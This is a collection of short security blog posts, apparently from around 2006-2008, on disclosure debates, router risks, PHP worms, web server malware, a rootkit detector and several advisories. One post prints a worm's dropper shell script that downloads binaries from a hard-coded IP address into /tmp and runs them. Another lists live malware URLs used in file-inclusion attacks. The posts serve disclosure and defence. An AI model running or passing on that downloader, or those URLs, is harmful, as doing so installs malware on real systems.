Ladeeeeez and gentlemen!

Well, methinks Linus is going to be “security villain of the week” for a few days again.

http://www.networkworld.com/news/2008/081408-torvalds-security-circus.html?hpg1=bn
Problem is, he’s actually got a good point.  Unfortunately, his use of “security circus” is going to be read as the whole security community, when he is actually referring to the lunatic fringes at both ends of the “disclosure” spectrum.  There are those who still cling to the outdated and disproved dogma of “security by obscurity,” and there are the self-promoters (with egos the size of the MS Windows Vista source code) who are eager to trumpet any little flaw they find as a “security” vulnerability.  Those of us in the trenches have been trying to keep vendors and consultants from using these arguments on the uninformed for years.  Linus is saying the same thing.  He’s as frustrated as we are, and for the same reasons.  He just uses more sensational phrases.

There is always a lot of talk about disaster recovery being important against, flood, weather, power failures, etc. But very little talk on disaster recovery due to security events.

When a security event happens, it is a disaster. It can mean downtime to your web site, or that your records were deleted or modified, and sometimes the biggest disaster is the bad PR day.

Typical disaster plans talk about a short failover time, but neglect to take into account what happens if one server was compromised. In this case, how will the short failover time affect it - will the corrupt or modified data propagate to the failover server causing two failed sites instead of one?

With recent break-ins reaching the news, where extremist groups hacking into any site they can gain access to, I see too often the web site show a banner, just after the break in, saying that it will be back in a few days. I’m left wondering if when they’re back, will they still suffer from the same security hole (most likely an SQL injection) that allowed the attackers in the first place? What about hidden malware - was the server reinstalled from scratch? And what backup was used to restore - the one with the attacker’s backdoor? I think we all know the answers…

Let the CVE describe the vulnerability:

JFFS2, as used on One Laptop Per Child (OLPC) build 542 and possibly other Linux systems, when POSIX ACL support is enabled, does not properly store permissions during (1) inode creation or (2) ACL setting, which might allow local users to access restricted files or directories after a remount of a filesystem…

The only references available are:

from Linux MTD mailing list
and
from the ticket system of Laptop.org

It appears that the CVSS score assigned last week is 4.4., i.e. Medium.

OVPC - One Vulnerability Per Child or do we have any others?

Hey, this is post #1000 and there are 925 posts in the archive.

In this post I’d like to discuss the threat widely circulated insecure broadband routers pose today. We have touched on it before.

Today, yet another public report of a vulnerable DSL modem type was posted to bugtraq, this time about a potential WIRELESS flaw with broadband routers being insecure at Deutsche Telekom. I haven’t verified this one myself but it refers to “Deutsche Telekom Speedport w700v broadband router”:
http://seclists.org/bugtraq/2007/May/0178.html

If you all remember, there was another report a few months ago about a UK ISP named BeThere with their wireless router being accessible from the Internet and exploitable, as another example:
http://blogs.securiteam.com/index.php/archives/826

Two issues here:
1. Illegitimate access to broadband routers via wireless communication.
2. Illegitimate access to broadband routers via the WAN.

I’d like to discuss #2.

Some ISPs which provide such devices (as in the example of #2 above) use them as bridges only, preventing several attack vectors (although not all). Many others don’t. Most broadband ISPs have a vulnerable user-base on some level.

Many broadband ISPs around the world distribute such devices to their clients.

Although the general risk is well known, like with many other security issues many of us remained mostly quiet in the hope of avoiding massive exploitation. As usual, we only delayed the inevitable. I fear that the lack of awareness among some ISPs for this “not yet widely exploited threat” has resulted in us not being PROACTIVE and taking action to secure the Internet in this regard. What else is new, we are all busy with yesterday’s fires to worry about tomorrow’s.
Good people will REACT and solve the problem when it pops up in wide-exploitation, but what we may potentially be facing is yet another vector for massive infections and the creation of eventual bot armies on yet another platform.

My opinion is, that with all these public disclosures and a ripe pool of potential victims, us delaying massive exploitation of this threat may not last. I believe there is currently a window of opportunity for service providers to act and secure their user-base without rushing. Nothing in security is ever perfect, but actions such as changing default passwords and preventing connections from the WAN to these devices would be a good step to consider if you haven’t already.

My suggestion would be to take a look at your infrastructure and what your users use, and if you haven’t already, add some security there. You probably have a remote login option for your tech support staff which you may want to explore - and secure. That’s if things were not left at their defaults.

Then, I’d also suggest scanning your network for what types of broadband routers your users make use of, and how many of your clients have port 23 or 80 open. Whether you provide with the devices or not, many will be using different ones set to default which may pose a similar threat. Being aware of the current map of vulnerable devices of this type in your networks can’t hurt.

It is not often that we can predict which of the numerous threats out there that we do not address currently, is going to become exploited next. If you can spare the effort, I’d strongly urge you to explore this front and be proactive on your own networks.

The previous unaddressed threat which most of us chose to ignore was spoofing. We all knew of it for a very long time, but some of us believed it did not pose a threat to the Internet or their networks for no other reason than “it is not currently being exploited” and “there are enough bots out there for spoofing to not be necessary”. I still remember the bitter argument I had with Randy Bush over that one. This is a rare opportunity, let’s not waste it.

We are all busy, but I hope some of you will have the time to look into this.

I am aware of and have assisted several ISPs, who spent some time and effort exploring this threat and in some cases acting on it. If anyone can share their experience on dealing with securing their infrastructure in this regard publicly, it would be much appreciated.

Thanks.

Gadi Evron,
ge@linuxbox.org.

Anti-virus vendors have a sample of Proof-of-concept virus for iPods running Linux.

More information is available via Symantec, which sees it as Linux.Noslo.

F-Secure, in turn, has a screenshot of the e-mail arrived to their ’samples’ mailbox.
Mr. Eugene Kaspersky (Head of Anti-Virus Research) of Kaspersky Lab reports that they succeeded in infecting another iPod device too (but after some problems).

The virus displays the following text:

You are infected with Oslo, the first iPodLinux Virus

Are file inclusion vulnerabilitiess equivalent to remote code execution? Are servers (both Linux and Windows) now the lower hanging fruit rather than desktop systems?

In the February edition of the Virus Bulletin magazine, we (Kfir Damari, Noam Rathaus and Gadi Evron (me) of Beyond Security) wrote an article on cross platform web server malware and their massive use as botnets, spam bots and generally as attack platforms.

Web security papers deal mostly with secure coding and application security. In this paper we describe how these are taken to the next level with live attacks and operational problems service providers deal with daily.

We discuss how these attacks work using (mainly) file inclusion vulnerabilities (RFI) and (mainly) PHP shells.
Further, we discuss how ISPs and hosting farms suffer tremendously from this, and what can be done to combat the threat.
(more…)

Important note: the name of the Web Honeynet Project has been changed to the Web Honeynet Task Force to avoid confusion with the Honeynet Project.

[ Warning: this post includes links to live web server malware propagated this Wednesday via file inclusions exploits. These links are not safe! ]

Hello.

The newly formed Web Honeynet Project from SecuriTeam and the ISOTF will in the next few months announce research on real-world web server attacks which infect web servers with:
Tools, connect-back shells, bots, downloaders, malware, etc. which are all cross-platform (for web servers) and currently exploited in the wild.

The Web Honeynet Project will, for now, not deal with the regular SQL injection and XSS attacks every web security expert loves so much, but just with malware and code execution attacks on web servers and hosting farms.

These attacks form botnets constructed from web servers (mainly IIS and Apache on Linux and Windows servers) and transform hosting farms/colos to attackplatforms.

Most of these “tools” are being injected by (mainly) file inclusion attacks against (mainly) PHP web applications, as is well known and established.

PHP (or scripting) shells, etc. have been known for a while, as well as file inclusion (or RFI) attacks, however, mostly as something secondary and not much (if any - save for some blogs and a few mailing list posts a year ago) attention was given to the subject other than to the vulnerabilities themselves.

The bad guys currently exploit, create botnets and deface in a massive fashion and force ISPs and colos to combat an impossible situation where any (mainly) PHP application from any user can exploit entire server farms, and where the web vulnerability serves as a remote exploit to be followed by a local code execution one, or as a direct one.

What is new here is the scale, and the fact we now start engaging the bad guys on this front (which so far, they have been unchallenged on) - meaning aside for research, the Web Honeynet Project will also release actionable data on offensive IP addresses, URLs and on the tools themselves to be made availableto operational folks, so that they can mitigate the threat.

It’s long overdue that we start the escalation war with web server attackers, much like we did with spam and botnets, etc. years ago. Several folks (andquite loudly - me) have been warning about this for a while, now it’s time to take action instead of talk.

Note: Below you can find sample statistics on some of the Web Honeynet Project information for this last Wednesday, on file inclusion attacks seeding malware.
You will likely notice most of these have been taken care of by now.

The first research on the subject (after looking into several hundred such tools) will be made public on the February edition of the Virus Bulletin magazine, from:
Kfir Damari, Noam Rathaus and Gadi Evron (yours truly).

The SecuriTeam and ISOTF Web Honeynet Project is supported by Beyond Security ( http://www.beyondsecurity.com )..

Special thanks (so far) to: Ryan Carter, Randy Vaughn and the rest of the new members of the project.

For more information on the Web Honeynet Project feel free to contact me.

Also, thanks for yet others who helped me form this research and operations hybrid project (you know who you are).

Sample report and statistics (for Wednesday the 10th of January, 2007):

IP | Hit Count | Malware (Count), … |
195.225.130.118 | 12 | http://m embers.lycos.co.uk/onuhack/cmd1.do? (4),
http://m embers.lycos.co.uk/onuhack/injek.txt? (6),
http://m embers.lycos.co.uk/onuhack/cmd.do? (2),
69.93.147.242 | 11 | http://w ww.clubmusic.caucasus.net/administrator/cmd.gif? (more…)

It appears that new OpenOffice.org security update has been released.

Red Hat adivsory is located here (rated as Important):
https://rhn.redhat.com/errata/RHSA-2007-0001.html

And what the RHSA-2007:0001-3 states:

Several integer overflow bugs were found in the OpenOffice.org WMF file
processor. An attacker could create a carefully crafted WMF file that could
cause OpenOffice.org to execute arbitrary code when the file was opened by
a victim. (CVE-2006-5870)

CVE link listed is not accessible yet.
Update: Link to the CVE.

More details available via Bugzilla Bug 217347 (CVE-2006-5870 WMF heap overflow) opened in November. Related OpenOffice Issue 70042 document opened on 2nd Oct is located at www.openoffice.org/issues/show_bug.cgi?id=70042.
Both 1.1.x and 2.x versions are affected and this patch should be obtained.

These vulnerabilities are reported in OpenOffice prior to version 2.1.0.
The previous remarkable ‘OOo’ update was released in June.

It is not known if the critical .DOC issue, CVE-2006-6561 (so-called 12122006-djtest.doc issue) was fixed now. I believe that the answer is No.

Update: StarOffice versions 6, 7 and 8 are affected too. Link to the short advisory of NGSSoftware:
ngssoftware.com/advisories/high-risk-vulnerabilities-in-the-staroffice-suite/

Victor Duchovni agreed for me to post what he employs to avoid such issues as the recent bypass attack against anti virus gateway solutions.
This is in some ways similar to a limited application firewall for SMTP, which is not spam specific and MIME only. Yes, I know, SMTP application firewalls are the 4th buzzword down the road, give it a couple of years.

Victor’s information:

I have a MIME normalizer in front of the A/V engine. Non-conformant
Base64 entities are made conformant or neutered (super-encoded via QP
so that the user receives the base64 text itself as the entity payload).

——–
In:
CT: application/octet-stream
CD: attachment; filename=foo.dat
CTE: base64

AA AA
(more…)

Shlomi Fish discussed on his blog how he discovered a segfault in perl. Looks interesting, but we haven’t verified it:

I discovered a segfault in the perl-5.8.x compilation stage. I discovered it by accident: I was refactoring some code, and added a function, and then it segfaulted. After reducing the code to a minimal form that still exhibited the problem, I found it had a syntax error which triggered the segfault.

The following code when run by perl-5.8.x triggers the segfault:

sub
{
my ($i, $j) = @_;
sub { [ $i->f(); ] };
}

It doesn’t segfault perl-5.6.2. Since it is also no longer exhibited in bleadperl, it was closed as “resolved”. However, I wrote the following on what should still be done:

1. Add this as a test-case to the perl 5 test-suite.
2. Write a patch for the perl-5.8.x line. (Which is still heavily used).
3. Investigate the crash, and see if it poses security risks. (Other than the obvious DoS that is caused by the segfault of evaluating such code.)

Gadi Evron,
ge@linuxbox.org.

While trying to generate a gpg keypair on a remote server, I discovered I lack entropy. Eventually I had to physically type on the keyboard in order to generate enough random bytes.
A short research led me to the following startling thread in the Linux kernel mailing list; Someone suggested to disable the entropy gathering from network cards: http://marc.theaimsgroup.com/?l=linux-kernel&m=114684809230875&w=2
* Note that in stock kernel version, entropy is still gathered from network cards.

I see this as an extremely bad move. ‘Headless’ servers with no keyboard and mouse have very few ways to create random entropy.
Web servers are an extreme example. There are few disk events that can contribute to the amount of entropy, and on the other hand SSL connection requires a lot of randomness.

This decision, if indeed accepted, is completely absurd. If someone decides to cancel network card as a source to random number generation, at least leave it as an option to the kernel module, a /proc entry or something. Why just diff it out??

To make things worse, Intel used to provide an onboard random number generator. This initiative was torpedoed, and the chip no longer exists in modern boards. There goes another source of random entropy out the window.

Modern day servers requires more sources of entropy than ever. We use VPNs, SSH and HTTPS. Let’s face it, SSL is ubiquitous.

As an example, try to run 4 simultaneous ssh connections to a dedicated web server (for some time, at least 4-5 hours), and try to generate a GPG keypair. 9 out of 10 times you’ll be out of entropy.

Suggested solutions like gathering entropy from the sound card don’t cut it for production servers.
There are the of course the dedicated PCI cards: http://www.broadcom.com/collateral/pb/5802-PB05-R.pdf
http://www.idquantique.com/products/quantis.htm

But then we could also ask for a Schrödinger’s cat that sits in a conveniently located alternate universe to establish SSL handshakes for us.

Attacks on PRNGs are well documented. Today no one believes that clock interrupts are cryptographically random. For example, look at: http://www.gutterman.net/publications/GuttermanPinkasReinman2006.pdf

I would love to hear your opinions and suggestions from security point of view.

Rootkit detection has been going on for a long time on Linux, far longer than on Windows.

Often it was just “signature based” such as with chkrootkit, finding already known rootkits. Windows rootkit detection tools only showed up in the last couple of years and are more generic in nature, looking at different hooks and signs of foul play. Still, they are far from mature and the technology for detection is still behind what the Bad Guys are using.

Zeppoo is a new tool for rootkit detection on Linux that works generically, catching up to the Windows technology.

On Dick’s Diary, he writes of this new tool, and says:

A clever tool I’ve been watching for some time called Zeppoo has reached a mature release stage today. Zeppoo allows the user to detect rootkits on the i386 architecture under Linux by using /dev/kmem and /dev/mem. It’s very useful at detecting hidden tasks, modules, syscalls, some corrupted symbols, and hidden connections. Anti-Rootkits which don’t use these methods can be fooled easily.

You can find more information on Zeppoo’s project page here.

Zeppoo’s homepage is here.

Gadi Evron,
ge@linuxbox.org.

Systems behind content management system based Web sites are not always patched. Delays when patching systems are not weeks. In fact, they are more than months.

The XML-RPC for PHP vulnerability from June 2005 is not the only security issue being exploited in this new Linux worm case. One of the other vulnerabilities is GLOBALS[’mosConfig_absolute_path’] issue CVE -2005-0512, reported and fixed exactly one year ago. This code injection issue affects Mambo systems 4.5.2 and earlier.

At this time, Mambo defacemect reports from volunteers who helped the Internet Storm Center to make a conclusion that a new Plupii variant is spreading. Sometimes even the word ‘mambo’ in the URL helps confirming Mambo sites being as target of defacement; see new ones at www.zone-h.org/en/defacements/view/id=3354748/ etc.

A fixed Mambo version 4.5.2.1 is available, but administrators simply didn’t patched their systems.

Like I just wrote to bugtraq on this subject (it’s being discussed there now), indeed, the most annoying thing about the PHP worms today is that these PHP vulnerabilities being exploited are everywhere.

As I already mentioned, this recent Linux worm has more to it, but that’s in another post.

These vulnerabilities being exploited are very difficult to protect from because:
1. PHP is the “serious” or at least open-source/Linux/security freak’s choice for web development. Mine as well (although as many still say, Perl does a better job).

2. Developing secure applications in PHP is difficult, as one of PHP’s creators said recently - even to him after years of trying.

3. Staying on top of new PHP vulnerabilities has become almost impossible, popping around everywhere.

4. Determining how secure a PHP application is, looking at the code and for how silly past vulnerabilities were (i.e. looking at the coder rather than the code) is now more important than the actual application.

Much like their self criticism said, PHP needs to grow to a far more secure language, much like we need to chose more carefully what PHP software we use.

Some of us have been joking for a while about creating a script to choose from different paragraph we create, and email bugtraq re-assembling the randomly with a new PHP bug and a random PHP application name every few hours. Would any of us be able to readily tell the difference?

From all the fish we can barely see the water.

As to the worms, been going on longer than 2 mounths like the person I was replying to mentioned, but he is correct.

One note I’d like to make, is that even if the second (interesting) payload in the Linux worm wasn’t there, just because someone utilizes old malware in the creation of new malware doesn’t mean it is new, or 99.9% of any “virus” ever written would be old.

Does Bagle.**** ring a bell with anyone?

If any of you are interested in sharing web server logs and be notified of new PHP problems we all notice online, drop me a note.

Gadi Evron,
ge@linuxbox.org.

The first part of worm is yet another PHP worm (with Drupal, WordPress, etc. attacked).
More information on older versions here:
http://isc.sans.org/diary.php?storyid=823

There is another shell script called gicumz there:

#!/bin/bash
cd /tmp
wget 209.123.16.34/session
chmod +x session
./session
cd /tmp
wget 209.123.16.34/derfiq
chmod +x derfiq
./derfiq

The worm itself that runs on the Linux system though, is something new as far as we can tell.

Gadi Evron,
ge@linuxbox.org.

It has just been confirmed the new Linux malware is being controlled by a botnet C&C (Command & Control) server.

Efforts are being made to take care of that server and notify the relevant ISP’s.

Gadi Evron,
ge@linuxbox.org.